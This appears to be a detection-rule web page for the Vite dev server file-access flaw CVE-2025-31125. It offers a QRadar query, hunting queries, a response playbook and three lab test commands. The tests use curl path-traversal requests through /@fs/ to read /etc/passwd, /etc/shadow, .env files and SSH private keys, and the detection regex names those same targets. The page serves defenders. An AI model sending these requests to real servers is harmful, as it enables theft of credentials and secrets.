Which SIEM platforms have a CVE-2025-31125 detection rule?

df00tech provides CVE-2025-31125 (CVE-2025-31125: Vite Dev Server Improper Access Control) detection queries for 7 SIEM platforms: Microsoft Sentinel / Defender, Splunk, Elastic Security (EQL), IBM QRadar (AQL), Sumo Logic CSE, Google Chronicle / SecOps, CrowdStrike LogScale (CQL).

What data sources are required to detect CVE-2025-31125: Vite Dev Server Improper Access Control (CVE-2025-31125)?

Detecting CVE-2025-31125: Vite Dev Server Improper Access Control requires the following data sources: IIS Logs, Web Application Firewall Logs, Azure Application Gateway, Network Proxy Logs.

What severity and confidence is the CVE-2025-31125 detection?

The CVE-2025-31125 detection is rated high severity with medium confidence.

What are common false positives for CVE-2025-31125?

Common false positives for CVE-2025-31125 include: Legitimate Vite dev server usage with /@fs/ paths for valid module resolution during development; Security scanners and vulnerability assessment tools probing for the vulnerability; Developers testing path resolution in non-production Vite environments.

CVE-2025-31125 IBM QRadar · QRadar

Detect CVE-2025-31125: Vite Dev Server Improper Access Control in IBM QRadar

Detects exploitation of CVE-2025-31125, an improper access control vulnerability in Vite (Vitejs) dev server. The vulnerability allows unauthorized access to sensitive files outside the intended serve root, classified under CWE-200 (Information Exposure) and CWE-284 (Improper Access Control). This vulnerability is listed in CISA KEV, indicating active exploitation in the wild.

MITRE ATT&CK

Tactic: Initial Access Discovery Collection

QRadar Detection Query

IBM QRadar (QRadar)

sql

SELECT
  DATEFORMAT(starttime, 'YYYY-MM-dd HH:mm:ss') AS event_time,
  sourceip,
  destinationip,
  destinationport,
  URL,
  username,
  'CVE-2025-31125' AS cve_id,
  CATEGORYDESCRIPTION(category) AS event_category
FROM events
WHERE
  LOGSOURCETYPENAME(devicetype) IN ('Apache HTTP Server', 'Microsoft IIS', 'NGINX') AND
  (
    URL IMATCHES '.*/@fs/.*(\.\.|%2e%2e|\.env|/etc/|/proc/|passwd|shadow).*' OR
    URL IMATCHES '.*/@fs/[A-Za-z]:.*' OR
    URL IMATCHES '.*/\x40fs/.*'
  ) AND
  starttime > NOW() - 7 DAYS
ORDER BY starttime DESC
LIMIT 1000

high severity medium confidence

QRadar AQL query searching web server log sources for Vite /@fs/ path traversal requests indicative of CVE-2025-31125 exploitation attempts.

Data Sources

QRadar Web Server DSMsApache HTTP ServerMicrosoft IISNGINX

Required Tables

events

False Positives & Tuning

Legitimate internal development traffic to Vite dev servers exposed on non-standard ports
Authorized security assessments and red team exercises
Monorepo Vite configurations that legitimately serve files outside the default root
CI/CD automated testing pipelines accessing Vite dev server endpoints

Other platforms for CVE-2025-31125

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) Sumo Logic CSE (Sumo) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

Test 1Vite /@fs/ Path Traversal to Read /etc/passwd
Expected signal: HTTP GET request to /@fs/etc/passwd and variants logged in web server access logs; Node.js process accessing /etc/passwd on the file system; network connection from test host to port 5173
Test 2Vite Dev Server Environment File Extraction
Expected signal: HTTP requests to /@fs/ with absolute paths to .env files; file system read events on .env and config files; response body containing environment variable content if successful
Test 3Automated CVE-2025-31125 Exploitation Scan
Expected signal: Rapid sequential HTTP GET requests to /@fs/ endpoint with multiple sensitive path targets; consistent source IP across all requests; mix of 200 and 403 response codes; elevated request rate to Vite dev server port

Last updated: 2026-06-19 Research depth: standard

References (2)

Response Playbook

Triage

Identify all hosts and IP addresses that sent requests to Vite dev server /@fs/ endpoints and determine if they are internal developers, external IPs, or known scanner/attacker infrastructure.
Examine the specific URI paths accessed via /@fs/ to determine what files were targeted — look for sensitive files such as .env, /etc/passwd, SSH keys, application secrets, or database configuration files.
Determine if the Vite dev server was intentionally exposed externally (e.g., bound to 0.0.0.0) or if this represents an unexpected exposure — check server configuration and network segmentation.
Review HTTP response codes for /@fs/ requests — HTTP 200 responses indicate successful file read, while 403/404 indicates failed attempts; prioritize investigation of successful reads.

Containment

Immediately restrict network access to Vite dev server ports (typically 5173, 3000, 4173) using firewall rules or network ACLs to prevent further unauthorized access.
Patch or upgrade the Vite installation to a version that includes the fix from commit 59673137c45ac2bcfad1170d954347c1a17ab949, or configure server.fs.allow to explicitly restrict accessible paths.
If sensitive files were accessed (secrets, credentials, private keys), rotate all potentially exposed credentials immediately and notify affected service owners.

Evidence Collection

Collect and preserve all web server access logs, including full URI paths, source IPs, timestamps, response codes, and response body sizes for the period surrounding the detected activity.
Capture memory dump or process snapshot of the Node.js Vite dev server process if still running, to identify any in-memory secrets or session data that may have been exposed.
Export network flow data and any packet captures covering communication between the source IP and the Vite server for forensic analysis.

Escalation Criteria

!Escalate immediately if HTTP 200 responses were returned for requests targeting sensitive files such as .env, private keys, /etc/shadow, or application credential files — indicating confirmed data exfiltration.
!Escalate if the source IP is attributed to a known threat actor, is a Tor exit node, or originates from a geography inconsistent with your developer population.
!Escalate if multiple distinct sensitive file types were accessed in sequence, suggesting automated or scripted exploitation rather than opportunistic scanning.

Investigation Guide

Related Techniques

[object Object][object Object][object Object]

Forensic Artifacts

>Web server access logs containing /@fs/ URI paths with path traversal sequences or absolute paths outside the project root
>Node.js process logs for the Vite dev server showing file serve requests and any error messages related to path resolution
>Network flow records showing connections to Vite default ports (5173, 3000, 4173) from unexpected source IPs
>File system access timestamps on sensitive files (e.g., .env, config files, key files) that correlate with suspicious request times

Tuning Guidance

This detection will generate false positives in active development environments where Vite is used with monorepo or workspace setups that legitimately access files outside the default root via /@fs/. To reduce noise: (1) Scope detection to non-development network segments or explicitly exclude known developer IP ranges; (2) Add a whitelist of legitimate /@fs/ path prefixes that correspond to your workspace package directories; (3) Focus high-confidence alerting on requests targeting known sensitive file names (.env, id_rsa, passwd, shadow) or Windows absolute paths (/@fs/C:/) which are never legitimate in normal Vite dev operation; (4) Combine with a 200 status code filter to alert only on successful reads rather than attempted access.

Hunting Queries

Hunt for sustained or repeated access to Vite /@fs/ endpoints over the past 30 days to identify reconnaissance or exploitation activity that may have been missed by real-time alerting, including low-and-slow scanning patterns.

Hunting — KQL

kql

W3CIISLog
| where TimeGenerated > ago(30d)
| where csUriStem contains "/@fs/"
| summarize request_count=count(), unique_paths=dcount(csUriStem), status_codes=make_set(scStatus), source_ips=make_set(cIP) by bin(TimeGenerated, 1h), csHost
| where request_count > 3
| order by request_count desc

Hunting — SPL

spl

index=web (uri_path="*/@fs/*" OR uri="*/@fs/*") earliest=-30d
| stats count AS hits, dc(uri_path) AS unique_paths, values(status) AS statuses, dc(src_ip) AS unique_src BY host, date_hour
| where hits > 3
| sort - hits

Atomic Red Team Tests

Test 1 Vite /@fs/ Path Traversal to Read /etc/passwd

linux

Simulates CVE-2025-31125 exploitation by sending an HTTP request to a vulnerable Vite dev server attempting to read /etc/passwd via the /@fs/ file serving endpoint.

Command

bash

curl -v 'http://localhost:5173/@fs/etc/passwd' && curl -v 'http://localhost:5173/@fs/../../../etc/passwd' && curl -v 'http://localhost:5173/@fs/%2fetc%2fpasswd'

Cleanup

bash

# No cleanup required — read-only test

Expected Telemetry

HTTP GET request to /@fs/etc/passwd and variants logged in web server access logs; Node.js process accessing /etc/passwd on the file system; network connection from test host to port 5173

Expected Detection

Alert triggered on URI path containing /@fs/ combined with /etc/ path component; multiple 200 responses indicate successful exploitation

Test 2 Vite Dev Server Environment File Extraction

linux

Attempts to read .env file and other common secret files from the application root via the Vite /@fs/ endpoint, simulating attacker credential harvesting.

Command

bash

# Start vulnerable Vite dev server first in lab
# Then execute:
curl -s 'http://localhost:5173/@fs/$(pwd)/.env' && curl -s 'http://localhost:5173/@fs/$(pwd)/../.env' && curl -s 'http://localhost:5173/@fs/$(pwd)/config/secrets.json'

Cleanup

bash

# No cleanup required — read-only test; ensure .env contains only dummy values in lab

Expected Telemetry

HTTP requests to /@fs/ with absolute paths to .env files; file system read events on .env and config files; response body containing environment variable content if successful

Expected Detection

Alert on /@fs/ requests targeting .env or secrets files; SIEM correlation between HTTP 200 response and sensitive file path access

Test 3 Automated CVE-2025-31125 Exploitation Scan

linux

Simulates automated scanner behavior probing multiple sensitive file paths via the Vite /@fs/ endpoint in rapid succession, as would be seen from exploitation tooling.

Command

bash

for path in '/etc/passwd' '/etc/shadow' '/etc/hosts' '/.env' '/proc/self/environ' '/root/.ssh/id_rsa'; do echo "Testing: $path"; curl -s -o /dev/null -w "%{http_code} $path\n" "http://localhost:5173/@fs$path"; sleep 0.5; done

Cleanup

bash

# No cleanup required — read-only probe; review access logs to confirm telemetry generated

Expected Telemetry

Rapid sequential HTTP GET requests to /@fs/ endpoint with multiple sensitive path targets; consistent source IP across all requests; mix of 200 and 403 response codes; elevated request rate to Vite dev server port

Expected Detection

High-frequency /@fs/ path traversal attempts from single source IP trigger volume-based detection; individual path-based rules fire for each sensitive path targeted; correlation rule identifies sequential file enumeration pattern

Related Detections

Tactic Hubs

TA0001Initial Access TA0007Discovery TA0009Collection

Related Techniques

T1190Exploit Public-Facing Application T1083File and Directory Discovery T1005Data from Local System

Detect CVE-2025-31125: Vite Dev Server Improper Access Control in IBM QRadar

MITRE ATT&CK

QRadar Detection Query

Data Sources

Required Tables

False Positives & Tuning

Other platforms for CVE-2025-31125

Testing Methodology

Response Playbook

Triage

Containment

Evidence Collection

Escalation Criteria

Investigation Guide

Related Techniques

Forensic Artifacts

Tuning Guidance

Hunting Queries

Atomic Red Team Tests

Command

Cleanup

Expected Telemetry

Expected Detection

Command

Cleanup

Expected Telemetry

Expected Detection

Command

Cleanup

Expected Telemetry

Expected Detection

Related Detections

Tactic Hubs

Related Techniques

Same Tactic: Initial Access

Popular Detections

MITRE ATT&CK

QRadar Detection Query

Data Sources

Required Tables

False Positives & Tuning

Other platforms for CVE-2025-31125

Testing Methodology

Response Playbook

Triage

Containment

Evidence Collection

Escalation Criteria

Investigation Guide

Related Techniques

Forensic Artifacts

Tuning Guidance

Hunting Queries

Atomic Red Team Tests

Command

Cleanup

Expected Telemetry

Expected Detection

Command

Cleanup

Expected Telemetry

Expected Detection

Command

Cleanup

Expected Telemetry

Expected Detection

Related Detections

Tactic Hubs

Related Techniques

Same Tactic: Initial Access

Popular Detections

Get new detections in your inbox